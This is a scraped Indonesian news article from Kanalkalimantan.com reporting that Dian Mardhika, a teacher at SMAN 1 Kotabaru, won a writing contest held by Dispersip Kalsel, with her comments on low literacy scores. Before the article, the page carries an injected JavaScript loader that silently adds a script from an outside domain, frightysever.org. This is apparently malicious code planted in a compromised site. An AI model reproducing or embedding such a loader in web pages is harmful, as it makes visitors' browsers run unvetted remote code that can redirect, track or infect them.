(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: Dispersip Kalsel

Dari Kotabaru, Dian Mardhika Menangkan Lomba Menulis Dispersip Kalsel

KANALKALIMANTAN.COM, BANJARMASIN – Juara pertama lomba menulis yang diselenggarakan oleh Dinas Perpustakaan dan Kearsipan (Dispersip) Kalimantan Selatan adalah Dian Mardhika. Tercatat, ia adalah guru di SMAN 1 Kotabaru.

Dian keluar menjadi juara pertama, setelah karya tulisnya dengan judul “Perpustakaan Sebagai Ruang Instalasi Darurat Literasi”. Ia mengaku bersyukur dengan adanya lomba menulis, dapat memberikan kesempatan kepada guru-guru untuk mengembangkan kemampuan dalam menulis.

“Karena untuk menulis itu perlu diberikan kesempatan. Dimana kesempatan itu sudah diberikan oleh Dispersip Kalsel kepada guru-guru,” kata Dian di Aula Dispersip Kalsel di Banjarmasin, Senin (15/6/2020) kemarin.

Diakui Dian, guru merupakan ujung tombak dalam kegiatan literasi kepada masyarakat kalangan bawah terutama anak-anak. Sehingga dengan adanya lomba menulis seperti ini, dapat memotivasi para guru dalam mengembangkan kegiatan literasi di sekolah.

Dalam tulisannya, Dian mengangkat isu darurat literasi. Ini dibuktikan dengan uji kemampuan literasi dasar yang dilakukan oleh Programme for International Student Assessment (PISA), Indonesia masih berada di urutan enam terbawah. “Nilai rata-rata kita juga sangat rendah sekali dibanding nilai rata-rata internasional. Dan juga terjadi penurunan sebanyak 26 poin untuk kegiatan literasi,” jelasnya.

Ia berpandangan, sangat penting untuk mengembangkan kegiatan literasi untuk menjawab tantangan rendahnya kemampuan literasi dasar di Indonesia. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell